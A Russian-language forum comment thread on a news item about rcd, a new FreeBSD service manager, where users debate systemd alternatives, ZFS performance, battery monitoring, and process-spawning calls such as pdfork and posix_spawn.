	Сообщение от нах. (?), 13-Сен-26, 09:18
	>> state of art. Реальное состояние батареи сейчас умеео мерять уже даже чтобы померять _реальное_ состояние батареи - ее, ВНЕЗАПНО, надо РАЗРЯДИТЬ. РЕАЛЬНОЙ нагрузкой (в смысле равной реальной). И вот тут уже посчитать - в ватт-часах, сколько там реально оказалось. Вместо этого меряют - по прежнему кулоны ВКАЧАННЫЕ в батарейку. Даже самой продвинутой bms. Любой ср-ный зарядник для игрушечных вертолетиков умеет мерять разрядом. Но не эти вот. Именно по этой причине в дорогих ноутах есть battery calibration. А дешевый у меня вон вырубается при заряде якобы-90% (хотя на самом деле просто снизилось рабочее напряжение и батарея еще лет десять бы проработала если бы не паранойя самоотключалки)
	Ответить | Правка | К родителю #382 | Наверх | Cообщить модератору

	438. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (-), 13-Сен-26, 18:09
	> чтобы померять _реальное_ состояние батареи - ее, ВНЕЗАПНО, надо РАЗРЯДИТЬ. Однако допустим внутреннее сопротивление - только подумай - на ура меряется "дифференциально". И даже с точностью до долей миллиома - если 4-проводной схемой заморочаться, так что падение на проводах factored out (у них сопротивление  больше). > РЕАЛЬНОЙ нагрузкой (в смысле равной реальной). Это конечно самый реалистичный тест, но на практике - упсовое дубье с его аналитикой просто оказывается в позе когда о дохлой батарейке узнали по вырубленому оборудованию, когда ups провалил свою миссию. А вот более нормальные BMS для лития всех мастей почему-то таким хтоническим д-мом не страдают. Да и энергии в тех же габаритах и весе - в разы больше. А какой-нибудь LTO (LiTiO) может прожить и заметно больше свинца, он конечно дороговат и не очень энергоемок по сравнению с другими - зато выживает десятки тысяч перезарядов (актуально системам с солнечными батареями) и таки легче и емче - свинца. > И вот тут уже посчитать - в ватт-часах, сколько там реально оказалось. Зная внутреннее сопротивление - можно хотя-бы примерный estimate иметь того что будет если. А не так как в упс - внезапно чпок и не вытянул нагрузку, а мониторинга состояния батарейки, ранних предупреждений и проч - считай что нет у большинства. Особенно по одупляемой цене. В каких-то ультра-топ энтепррайз - хз, но я за их ценник соберу себе солнечную ферму лучше, и пошлю энергокомпанию нафиг. Или буду им в сеть грузить и это они мне - еще и должны останутся. > кулоны ВКАЧАННЫЕ в батарейку. Даже самой продвинутой bms. Любой ср-ный зарядник > для игрушечных вертолетиков умеет мерять разрядом. Но не эти вот. Мля. Помножить ток на напряжение в стиле интеграции - могу даже я. И даже долбаный 5-баксовый тестер с али. Он таки - в ватчасах меряет. > Именно по этой причине в дорогих ноутах есть battery calibration. Там у BMS просто небольшой МКшка встроен. Но есть нюанс. Этот гаденыш может по одному ему критерию решить что ты достаточно поюзал батку - и без всяких предупреждений ВЫРУБИТЬ АКБ НАХРЕН. И вот только что у тебя был АКБ. А теперь у тебя кирпич. И таки вот именно сервисный доступ с показом вольтажа по банкам и нормальной статистике тебе не очень то и дадут. Хотя кому сильно надо - таки туда попадают, ибо i2c не такая уж и сложная штука, а многие чипы относительно документированы даже.
	Ответить | Правка | Наверх | Cообщить модератору

57. "Для FreeBSD развивают новый системный менеджер rcd"	+2 +/–
Сообщение от Аноним (57), 10-Сен-26, 14:42
делайте скорее супер легковестную замену systemd и заменяйте ей везде systemd
Ответить | Правка | Наверх | Cообщить модератору

	318. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от нах. (?), 12-Сен-26, 09:29
	> делайте скорее супер легковестную замену systemd и заменяйте ей везде systemd приступай, чего ты ждешь-то? А то ж ведь опять сделают не так как тебе мечталось.
	Ответить | Правка | Наверх | Cообщить модератору

	353. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от _ (??), 12-Сен-26, 20:04
	Да сделать то лучше - можно. А вот заменить ... "хто-ж Ёму дастЪ?!(С)"
	Ответить | Правка | Наверх | Cообщить модератору

	355. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от нах. (?), 12-Сен-26, 20:44
	> Да сделать то лучше - можно. А вот заменить ... "хто-ж Ёму > дастЪ?!(С)" ну хотя бы на локалхосте. учитывая сколько лет некоторым моим локалхостам - оно даже было бы оправдано. но проще, разумеется, наплевать и забыть.
	Ответить | Правка | Наверх | Cообщить модератору

73. "Для FreeBSD развивают новый системный менеджер rcd"	–2 +/–
Сообщение от MaLinovsky (?), 10-Сен-26, 16:12
Runit с кривым конфигом? Чем им SMF не угодил? Притащили ZFS из Solaris, так чего было мелочиться? Взяли бы и SMF заодно, ведь это ее системдэ косплеил десятилетиями. А там уже все круто и готово к работе. Или сами не осилили портирование как было с ZFS и Sun Microsystems им с этим грешным делом помогали потом? Многие орали что ZFS тоже не упрощенка и да производительность не в потолок, но m.2 накопителям на PCIE 5 это безразлично. И вообще как выпустят DDR6 и введут норму в 32 гига уже и пол гига отжираемые файловой системой станут мелочью. Это по факту выглядит как клон быстрого инита и не более того. Собственно скорее всего это и есть наиболее быстрый вариант запуска, но зачем делать корявый язык программирования как норму настройки неизвестно. А то развели фиг пойми что в теме. Или это ради избавления от как говорят обыватели баш портянок? Они же не в курсе что шелл скрипты это sh, а не bash, хотя есть еще dash, zsh и так далее. Дичь когда в комментариях пусто практически. Один человек вспомнил SMF, но не понял на что смотрит.
Ответить | Правка | Наверх | Cообщить модератору

	80. "Для FreeBSD развивают новый системный менеджер rcd"	+1 +/–
	Сообщение от Аноним (19), 10-Сен-26, 16:53
	>ZFS >PCIE >DDR Ты, я смотрю, в сознание вообще не приходишь. Че сказать-то хотел?
	Ответить | Правка | Наверх | Cообщить модератору

	191. "Для FreeBSD развивают новый системный менеджер rcd"	–1 +/–
	Сообщение от Malinovsky (?), 11-Сен-26, 11:51
	Научись читать прямо, а не наискосок, а то в голове одна каша будет из аббревиатур.
	Ответить | Правка | Наверх | Cообщить модератору

	142. "Для FreeBSD развивают новый системный менеджер rcd"	–1 +/–
	Сообщение от Аноним (142), 11-Сен-26, 03:20
	Dlss 5 забыл
	Ответить | Правка | К родителю #73 | Наверх | Cообщить модератору

	192. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Malinovsky (?), 11-Сен-26, 11:51
	Не пользуюсь.
	Ответить | Правка | Наверх | Cообщить модератору

	270. "Для FreeBSD развивают новый системный менеджер rcd"	–3 +/–
	Сообщение от Аноним (-), 11-Сен-26, 19:18
	> Многие орали что ZFS тоже не упрощенка и да производительность не > в потолок, но m.2 накопителям на PCIE 5 это безразлично. Вообще-то на быстрых накопителях - оверхед ФС как раз сильнее всего ощущается и ZFS помрет - именно поэтому. На сверхскоростных SSD - он рубиться с линуксными фс не сможет от слова совсем. Потому что по сути блочный дизайн а не экстентный даже.
	Ответить | Правка | К родителю #73 | Наверх | Cообщить модератору

	282. "Для FreeBSD развивают новый системный менеджер rcd"	–1 +/–
	Сообщение от Malinovsky (?), 11-Сен-26, 20:49
	Я вот сомневаюсь что помрет. Видите ли Linus Tech Tips не совсем круглые идиоты и они там делали видео где SSD на ZFS служил кешем пула. И таких видео было минимум два. И все прекрасно работало. По крайней мере этого было достаточно для работы по сети для сервера. Там ведь свои особенности есть и кеширование в память силами ФС полагаю можно отключить, потому что это серверная функциональность. Как бы то ни было на мелких блоках у современных накопителей скорости весьма приличные.Возможно придется сделать размер блока в среднем больше, если очень уж нужно, но я скорее поверю что для системы будет достаточно хоть эмуляцию блоков по 512 байт включить, хомяка на другой диск сунуть, игры на третий, чтобы с программами не пересекалось, либо поставить много памяти, чтобы кеша в ней хватало. Не такие уж и лютые скорости нужны, если для игр. Я пока что не вижу почему ZFS должна прямо загнуться, даже если Линус Торвальдс на нее бухтит. Там проблема в лицензии и потому он просто тыкает в недоработки. Если бы ее выпустили под GPL он быстро нашел бы повод выделиться типа "Мы сделали +80% скорости ZFS, 15% для EXT4 и XFS" - вот так примерно это выглядело бы. на винде там вроде бы ограничение гига в 4 по сути и от PCIE5 вообще толку ноль. Так что получается не хуже чем на винде я думаю. Сложно без цифр с жесткими и адекватными тестами, но без объективного подтверждения сдаваться не мой стиль.
	Ответить | Правка | Наверх | Cообщить модератору

	383. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (-), 13-Сен-26, 02:57
	> Я вот сомневаюсь что помрет. Сомневайтесь наздоровье. Но это энтерпрайзный утюг, лучше всего с его устройством катящий - для файлопомоек. А у этих энтерпрайзников сверхскоростной сети и ссд как у дурака фантиков уже. И вот тут ZFS начинает неиллюзорно огребать прямо на своем родном поле. А для всех остальных кейсов... 1) Внеядерный модуль это гемор на ровном месте. 2) Рутфс который может уйти в даун от апгрейда ядра это вообще EPIC FAIL. А снапшоты вот именно системы так то полезная тема. Для скоростного отката в вид как было до факапа вместо разбирательств с ним полдня или реинсталла, ага. Машина времени и управление в стиле VM это весьма эффективно. 3) Управление памятью ZFS - мало годится для чего либо кроме файлопомоек. Хотя возможно кому-то нравятся ВНЕЗАПНО падающие программы которым памяти не смогли выкроить... 4) И таки оно унутрях - тормознутый блочник на стероидах, где перфоманс вытягивают заливанием немеряными кешами. Да, RAM-диски штука быстрая. А если это не оно и RAM нужна кому-то еще... 5) Все их слои абстракций - лишний раз им оверхеда накинут. И ничерта они с этим не сделают особо. > Видите ли Linus Tech Tips не совсем > круглые идиоты и они там делали видео где SSD на ZFS служил кешем пула. Я рад за них. Но это никак не отменяет того что ZFS довольно нишевая хрень в целом. С кучей легасипроблем. И да, вооооон те ФС в ядре - рефакторнули под low-overhead апи, типа (large)folios чтоб не телепать по страничке за раз и резко снизить число вызовов функций и проч. Аналогично прикручивание к io_uring и ряду более доугих апей вокруг кеширования и управления памятью, нацеленных на рахгон скорости и снижения оверхеда. И так далее - в ядре Linux идут мощные рефакторы на тему low overhead. А кто все это для сабжа сделает... ктулху его там знает... не, кульные истории на форуме - эти работы не сделают, и я в курсе ;) > И таких видео было минимум два. У вас будут кульные видосики. У меня будут кульные технологии, работающие на меня, по мой интерес. Разгоняющие мою эффективность. Получше чем технологии работающие на вас. И я смогу достичь больше чем вы в цифровом мире. Этим мы и отличаемся. > И все прекрасно работало. Понятия о прекрасном у всех разные. А вот фороникс взял однодисковый конфиг на шустром SSD. И на нем ... ZFS всех порвал в номинации скулайт. И жестоко продул - в всех остальных номинациях. В разы буквально. Весьма стебный бенч получился, но свойства core технологии и соотношения уже хайлайтит и дальще это различие станет только суровее. Тот же btrfs в делаемом прям ща -rc получит свой бонус скорости на довольно много чем, в очередной раз. > По крайней мере этого было достаточно для работы по сети для сервера. Сети тоже так то - разные бывают. Сто гигабит уже как бы и не диковинка для энтерпрайзов, 400 подавай. И тут они начинают оптимизить оверхед и в сетевом стеке, и в всех частях io, и вообще - флеш настолько разогнался что зачастую хотят его рассматривать как non-volatile RAM скорее. Правда, он не RAM по свойствам и все несколько буксует на его крупноблочной природе. Но вот по скоростям - особенно чтения - он вполне сравним. > память силами ФС полагаю можно отключить, потому что это серверная функциональность. Без кеширования перфоманс того дизайна будет - дно донное. Ибо что вы хотите увидеть от винтажного блочного дизайна? Он сносную скорость может - только если RAMой его завалить, чтоб он в режиме рамдиска фигачил. Но уже и с этим - факапы, потому что оверхеда у него сильно больше чем уместно в современном мире. > Как бы то ни было на мелких блоках у современных накопителей > скорости весьма приличные. Современные накопители и по IOPS и по скорости записи - даже крупными блоками - могут изрядно дать мастеркласс. ZFS делался под иные реалии. Btrfs частично тоже - но его таки опиливают интенсивно. А bcachefs сразу перфомансом заморочился на таком - с чужим то опытом проще. > очень уж нужно, но я скорее поверю что для системы будет > достаточно хоть эмуляцию блоков по 512 байт включить, Эмуляция 512 байтов крайне неэффективная штука - ибо page флеша гарантированно больше уже - а RMW чушки в 4-8 или сколько там кило чтоб 512 байтов посередине отколупать - а то и вовсе ворочание erase block/erase group на дохрена мегабайтов - скорости точно не добавит. > и лютые скорости нужны, если для игр. Я пока что не > вижу почему ZFS должна прямо загнуться, даже если Линус Торвальдс на нее бухтит. Зато я вижу к тому определенные предпосылки. Да и Торвальдс не особо бухтит. Девелоп ядра просто идет без учета внемайнлайновых модулей и как они там выкручиваются только им и их адептам и интересно. В этом смысле Кент очень сильно усложнил сам себе жизню на ровном месте. > бы повод выделиться типа "Мы сделали +80% скорости ZFS, 15% для > EXT4 и XFS" - вот так примерно это выглядело бы. Каждый релиз ядра примерно так и случается. Для Btrfs, ZFS, Ext4. А для ZFS - ну он не в майнлайне, новые апя так сразу в первых рядах не подхваытвает, у него там всякие слои абстракций еще и проч - и соответственно он пролетает мимо. ...а потом фороникс проводит вон тот фееричный бенч на быстром SSD и получается то что получается. Да, там ZFS выглядит - как кусок прикола. > на винде там вроде бы ограничение гига в 4 по сути и > от PCIE5 вообще толку ноль. Не волнуйтесь, энтерпрайзники найдут чем PCIe прогрузить и не только его. А ZFS как-то телепается в осноном за их счет. Дома эта штука вообще нахрен не.
	Ответить | Правка | Наверх | Cообщить модератору

	460. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Malinovsky (?), 15-Сен-26, 11:03
	Обалдеть, даже частично понимание есть, но из качественных проблем я натыкался лишь на развалившийся пул при жестких перезагрузках. NTFS и XFS на это вообще пофигу, EXT4 тоже более-менее переживает, а тут надо постараться, чтобы все не сдохло. Вот только виртуализация позволяет делать конфигурации недоступные обычно. Например выделение места на каждом диске из 24 штук под необходимые данные, например пусть это будут операции с платежами. Остальное если сдохнет еще ладно, но когда пул разрастается по 48 дисков на контроллер это уже немало. А теперь представим что на каждый диск еще скажем 512 мегабайт своей набортной памяти, а обращения идут массово в том числе к ней. Там все сделано достаточно хорошо, чтобы использовать стабильность на первом месте в той степени какую хочется. При этом кучу мелких дисков могут снапшотить емкие HDD. Это вообще иной подход, а кеш мог быть на скоростных накопителях от интела с пониженной задержкой и это ускоряло весь HDD пул. Я боюсь вы провел недостаточно времени над осмыслением горы полученной информации. Я не претендую н истину в последней инстанции, но все же  считаю виртуальные ФС вполне себе интересным решением, позволяющим содержать совместно HDD и SSD. Изменения малы по размеру и HDD их вполне способен записать. Неумение многих обращаться с данными оптимальным для жестких дисков образом меня удивляет когда проще делать нечто вроде архива, чтобы программа загружалась одним куском в память, показывая максимальные скорости последовательного чтения. Просто это отдельное умение как и параллельное программирование. То что архив можно не сжимать, а просто загрузить программу думаю и дураку понятно. Собственно для этого и нужна статическая сборка программ когда все не только гарантированно имеет свой набор для запуска, но и служит целям, чтобы следовать принципу KISS в среде где нельзя иначе отделить пользовательские библиотеки от системных. Виртуальная ФС позволяет распределить данные по наиболее быстрым накопителям или сделать сносный отклик. Это все тесно связано с работой крупных программ, которые могут иметь доступ допустим к частым обращениям, например отчеты за каждый год на отдельном быстром накопителе, а общие данные за год могут иметь время отклика допустим в секунду на HDD. Кеширующий SSD и грамотное конкурентное программирование с адекватными фреймворками сильно ускоряют отклик. Просто это в основном область сложных явлений одно на другом. А уж что дома ставить думаю люди на FreeBSD сами решат. То что у энтерпрайза есть это одно. А то что в интернете нет других видео кроме моих для грамотной настройки железа говорит о том что энтерпрайзники те же нули неспособные в настройку железа и системы, тем более массовую. Их IQ слишком низок. Их тупо загнали на курсы, все им объяснили, а тут уже ситуация когда надо применять мозги и понимать с чем связаны различные затыки. Люди с IQ менее 100 это типичный представитель энтерпрайза, потому что он тупо денег заплатил за обучение, а не он был гением. Там круглых идиотов на деле хватает, учитывая как долго скрипты отрабатывают на роутерах и как легко взламывают их системы. Вот тут то снапшоты и решают проблему дураков. А уже потом можно разбираться как их взломали.
	Ответить | Правка | Наверх | Cообщить модератору

79. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
Сообщение от Аноним (78), 10-Сен-26, 16:53
Во-первых, баян, во-вторых, не взлетит.
Ответить | Правка | Наверх | Cообщить модератору

	87. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (87), 10-Сен-26, 18:28
	Тоже не сильно понятно зачем оно нужно, если bsd init и так самый адекватный на сегодня.
	Ответить | Правка | Наверх | Cообщить модератору

	101. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (101), 10-Сен-26, 20:59
	Все пользуются.
	Ответить | Правка | Наверх | Cообщить модератору

	171. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от нах. (?), 11-Сен-26, 10:34
	bsd init не имеет к этому никакого отношения, ни rc.d ни rcd - не инит. А зачем понадобилось заменять rc.d - ну вот просто посмотри в скрипт, к примеру, запускающий mysqld, и подумай, если есть чем - что будешь делать если надо что-то поправить (особенно - в чужой работающей системе).  Или - хочется ли тебе написать такой же для нового порта такой же развесистости и сложности. И сразу поймешь, зачем. ctrlc-ctrlv подход имеет определенные недостатки по сравнению с готовым кодом в одном экземпляре.
	Ответить | Правка | К родителю #87 | Наверх | Cообщить модератору

	346. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от User (??), 12-Сен-26, 16:42
	> bsd init не имеет к этому никакого отношения, ни rc.d ни rcd > - не инит. > А зачем понадобилось заменять rc.d - ну вот просто посмотри в скрипт, > к примеру, запускающий mysqld, и подумай, если есть чем - что > будешь делать если надо что-то поправить (особенно - в чужой работающей > системе).  Или - хочется ли тебе написать такой же для > нового порта такой же развесистости и сложности. > И сразу поймешь, зачем. > ctrlc-ctrlv подход имеет определенные недостатки по сравнению с готовым кодом в одном > экземпляре. Эээээ... а чего тут думать? Клаву просить надо!
	Ответить | Правка | Наверх | Cообщить модератору

	349. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от нах. (?), 12-Сен-26, 17:18
	> Эээээ... а чего тут думать? Клаву просить надо! ● Login expired · Please run /login (а неоткуда, из запрещенных стран нельзя логиниться) ну и токе... времени на самом деле не напасешься, в одиночку весь мир переделывать.
	Ответить | Правка | Наверх | Cообщить модератору

	112. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Ivan_83 (ok), 10-Сен-26, 21:46
	Почему не взлетит то? Они просто будут постепенно внедрять, чтобы не ломать совместимость и пользовательские привычки. К 19-25 версии сделают дефолтным, лет через 5-15, там никто не торопится.
	Ответить | Правка | К родителю #79 | Наверх | Cообщить модератору

82. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
Сообщение от Аноним (82), 10-Сен-26, 17:14
Чем это лучше dinit?
Ответить | Правка | Наверх | Cообщить модератору

86. "Для FreeBSD развивают новый системный менеджер rcd"	+1 +/–
Сообщение от нах. (?), 10-Сен-26, 17:57
В общем выглядит пока как systemd здорового человека. Единственное что смущает - автор, поскольку pkg... надо ведь было постараться сделать новую версию _всего_лишь_ cli к базенке key-value - на ровном месте несовместимой с недостаточно модным ядром фри. А он вот когда-то уже давно - СМОГ! С другой стороны, никого ж уже и не жалко...
Ответить | Правка | Наверх | Cообщить модератору

	111. "Для FreeBSD развивают новый системный менеджер rcd"	–2 +/–
	Сообщение от Ivan_83 (ok), 10-Сен-26, 21:43
	Да ладно, надо было выкинуть UCL и юзать LUA для конфигов тоже, было бы намного винрарнее. Единственное что меня заинтересовало: как он сделал обновление без потери состояния?
	Ответить | Правка | Наверх | Cообщить модератору

88. "Для FreeBSD развивают новый системный менеджер rcd"	–2 +/–
Сообщение от Аноним (88), 10-Сен-26, 19:06
Классную приблуду навайбкодили! Поддерживаю!
Ответить | Правка | Наверх | Cообщить модератору

	114. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от warlock66613 (ok), 10-Сен-26, 21:50
	У вас есть информация что разработчики этого проекта присоединились к предателям человечества?
	Ответить | Правка | Наверх | Cообщить модератору

	311. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (163), 12-Сен-26, 04:18
	Разработчики этого проекта не были замечания в работе на аннунаков.
	Ответить | Правка | Наверх | Cообщить модератору

	319. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от агент рептилоидов (?), 12-Сен-26, 09:31
	> Разработчики этого проекта не были замечания в работе на аннунаков. Поскольку господа наши не одобряют работу на конкурирующие компании.
	Ответить | Правка | Наверх | Cообщить модератору

91. "Для FreeBSD развивают новый системный менеджер rcd"	+1 +/–
Сообщение от Норм (?), 10-Сен-26, 20:09
Молодци. Фря движется медленно но движение есть.
Ответить | Правка | Наверх | Cообщить модератору

124. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
Сообщение от pansa2 (?), 10-Сен-26, 23:24
Еще таймеры туда добавть. Таймеры - хорошо. Только без вот этого уродского синтаксиса времени, как у системдЫ, а в остальном они прям хороши. Но без журналды только. Вот это зло.
Ответить | Правка | Наверх | Cообщить модератору

	443. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (442), 13-Сен-26, 19:17
	а у системДы и нету таймеров. Если комп уснул - таймеры не работают. И никакой WakeSystem не помогает.
	Ответить | Правка | Наверх | Cообщить модератору

127. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
Сообщение от Dmitry (??), 10-Сен-26, 23:28
Сколько комментариев, и ни один не увидел слово "pdfork()" Я вот, например, глазами читаю текст новости, а вы чем ?
Ответить | Правка | Наверх | Cообщить модератору

	129. "Для FreeBSD развивают новый системный менеджер rcd"	+1 +/–
	Сообщение от warlock (??), 11-Сен-26, 00:07
	Запускалка процессов использует системную функцию предназначенную для создания процессов чтобы создавать процессы. Вот это поворот!
	Ответить | Правка | Наверх | Cообщить модератору

	181. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Dmitry (??), 11-Сен-26, 11:27
	Почитайте про отличия между fork(), pdfork() и pdrfork()
	Ответить | Правка | Наверх | Cообщить модератору

	216. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от warlock66613 (ok), 11-Сен-26, 13:59
	Я читал. Как я понял fork() принципиально сломан и не может быть использован ни в какой ситуации, кроме как когда надо просто стартовать процесс и забыть о нём. Так что было бы странно, если бы новый проект его использовал.
	Ответить | Правка | Наверх | Cообщить модератору

	304. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Ivan_83 (ok), 11-Сен-26, 23:41
	Проблема в том, что все эти форки нафиг не сдались. posix_spawn() - вот что хочется юзать а не переизобретать каждый раз с нуля все эти ритуальные способы правильно родить процесс и не упустить никаких деталей.
	Ответить | Правка | К родителю #181 | Наверх | Cообщить модератору

	320. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от нах. (?), 12-Сен-26, 09:42
	> Проблема в том, что все эти форки нафиг не сдались. > posix_spawn() - вот что хочется юзать тебе в макось. Кажется, это единственная ос где он реализован не в виде враппера вокруг fork() (или clone() как в линуксе где fork сам враппер). fork() при этом там поломан настолько что им в общем случае вообще запрещено пользоваться. А авторы юникс полагали что важнее как раз не упустить деталей от parent процесса, а не максимально тщательно их зачистить.
	Ответить | Правка | Наверх | Cообщить модератору

	328. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Ivan_83 (ok), 12-Сен-26, 14:16
	Думаю мне просто подождать ещё пару лет. :) Во фрёвом мане написано что posix_spawn() работает поверх vfork(). Через пару лет сделают версию чтобы работала поверх pdfork() и проблема сама собой решится. На самом деле у меня на фре оно работает немного странно на мой взгляд, и после posix_spawn() процесс не работает, пока waitpid() не дёрнешь, а до того как его дёрнешь pid уже валидный и его можно привязать к kqueue() или засунуть в похожий механизм инукса для мониторинга процессов.
	Ответить | Правка | Наверх | Cообщить модератору

	356. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от нах. (?), 12-Сен-26, 20:59
	> Во фрёвом мане написано что posix_spawn() работает поверх vfork(). потому что это - враппер. самостоятельно делающий то что нормальный юникс-кодер и так умеет. просто синтаксический сахарок. А в макоси это чуть ли не единственное что на самом деле работает через микроядро. (да, оно там таки есть - вот в этом странном месте и почти нигде кроме) Побочный эффект, разумеется, что этот вызов - безобразно дорогой. Но, поскольку это не fork(), и не используется для обработки соединений,в немодных-несовременных программах, например - то это становится не особенно и важно. На сколько там микросекунд дольше запускается процесс который только конфиги свои читает секунды - совершенно пофигу. Зато гарантируется полная отвязка от текущего процесса - потому что с ним никак и не связано.
	Ответить | Правка | Наверх | Cообщить модератору

	365. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Ivan_83 (ok), 12-Сен-26, 22:51
	Я понимаю что это враппер и сахар, и именно поэтому его и заюзал - самому было лень кодить всю эту портянку что там внутри. И технически ничего мне не мешает прямо щас методом копипасты сделать свой posix_spawn() поверх vfork(). (что я вероятно и сделаю :) ) Насчёт отвязывает - зависит от того какие там параметры напередавать, я вот как раз отдельно прогал чтобы std дескрипторы через пайпы передавали/получали из родительского потока. Вызов не дорогой, по крайней мере на системах где есть close_range() или хотя бы close_from().
	Ответить | Правка | Наверх | Cообщить модератору

	384. "Для FreeBSD развивают новый системный менеджер rcd"	–1 +/–
	Сообщение от Аноним (-), 13-Сен-26, 03:10
	> Проблема в том, что все эти форки нафиг не сдались. > posix_spawn() - вот что хочется юзать а не переизобретать каждый раз с > нуля все эти ритуальные способы правильно родить процесс и не упустить > никаких деталей. А надо то было - стырить clone() из линуха. Который на самом деле - по мотивам вызовов Plan9 так то сделан. Там тред, процесс и контейнер как таковые отличаются в основном объемом unshare()'d добра. Но чтоб совсем не упустить никаких деталей... вы явно недооцениваете количество этих самых деталей. И все их единоразово выкинуть - а что делать с существующим софтом и совместимостью с POSIX?!
	Ответить | Правка | К родителю #304 | Наверх | Cообщить модератору

	133. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Ivan_83 (ok), 11-Сен-26, 00:19
	Думаете опечатка? А вот нет: https://man.freebsd.org/cgi/man.cgi?pdfork(2)
	Ответить | Правка | К родителю #127 | Наверх | Cообщить модератору

	168. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Dmitry (??), 11-Сен-26, 10:27
	Нет, я наоборот, хотел, чтобы обратили внимание, что rcd, в отличие от штатного rc, не смотрит на pid процесса в /var/run
	Ответить | Правка | Наверх | Cообщить модератору

	182. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Ivan_83 (ok), 11-Сен-26, 11:33
	Тут как бы да и как бы посмотрим. pidfd вот только завезли в систему. Надо посмотреть что там внутри и можно ли это дампить на диск, если да то и в обычный rc.d поддержка приедет.
	Ответить | Правка | Наверх | Cообщить модератору

	303. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Ivan_83 (ok), 11-Сен-26, 23:37
	Ошибся The pdfork(), pdgetpid(), and  pdkill()  system  calls  first  appeared  in FreeBSD  9.0. The pdrfork() and pdwait() system calls first appeared in FreeBSD 15.1.
	Ответить | Правка | Наверх | Cообщить модератору

	357. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от нах. (?), 12-Сен-26, 21:03
	> pidfd вот только завезли в систему. > Надо посмотреть что там внутри и можно ли это дампить на диск, файловый ("файловый") дескриптор там внутри. Нельзя, имеет смысл только в контексте процесса, как и любой fd.
	Ответить | Правка | К родителю #182 | Наверх | Cообщить модератору

	366. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Ivan_83 (ok), 12-Сен-26, 22:53
	Ну тогда да, видимо инфа сокрыта в ядре а наружу только fd торчит.
	Ответить | Правка | Наверх | Cообщить модератору

	440. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от нах. (?), 13-Сен-26, 18:42
	> Ну тогда да, видимо инфа сокрыта в ядре а наружу только fd > торчит. там есть pgetpid (или как там его) возвращающий нормальный pid из дескриптора. Но, кажется, нет никакой возможности вернуть обратно.
	Ответить | Правка | Наверх | Cообщить модератору

	445. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Ivan_83 (ok), 13-Сен-26, 19:47
	Технически то нужно было совсем немного больше: время старта процесса + pid чтобы точно знать потом это тот же самый процесс или уже другой. Если бы появилось API которое позволяет это получать, то и PID файлы было бы легко пофиксить. Да и пожалуй если взять время модификации пид файла, то останется только время создания процесса найти чтобы забыть об коллизиях номеров пид.
	Ответить | Правка | Наверх | Cообщить модератору

	446. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Ivan_83 (ok), 13-Сен-26, 19:51
	ЫЫ шмугла подсказал: ps -p <PID> -o lstart= те уже вчера можно было решить проблему race для пид файлов :)
	Ответить | Правка | К родителю #440 | Наверх | Cообщить модератору

	310. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (163), 12-Сен-26, 04:15
	Анонимные эксперты в принципе не читают текст новости, в лучшем случае они дочитывают заголовок до конца.
	Ответить | Правка | К родителю #127 | Наверх | Cообщить модератору

148. "Для FreeBSD развивают новый системный менеджер rcd"	–1 +/–
Сообщение от Аноним (148), 11-Сен-26, 04:37
В серьез нацелились в десктоп, похоже.
Ответить | Правка | Наверх | Cообщить модератору

	329. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Укропатолог (?), 12-Сен-26, 14:17
	Первым признаком нацеливания на десктоп, было бы написание драйверов для блютуза, вифи, нфс, вебкамер и прочих плюшек. А это просто кому-то захотелось повайбкодить.
	Ответить | Правка | Наверх | Cообщить модератору

	360. "Для FreeBSD развивают новый системный менеджер rcd"	+1 +/–
	Сообщение от _ (??), 12-Сен-26, 22:26
	И как же ты его напишешь если производитель шелезяки сам не пишет и другим не даеЁт? Реверсить виндовые драйвера? Или сразу железку? Ну дык таких упоротых больше не делают, так что вряд ли :-\
	Ответить | Правка | Наверх | Cообщить модератору

283. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
Сообщение от Метрика (?), 11-Сен-26, 21:38
Хоть что то своё за долгие годы, а когда то фря была лидером удобных и продуманных инструментов для админов и программистов, пока с линукс не связалась
Ответить | Правка | Наверх | Cообщить модератору

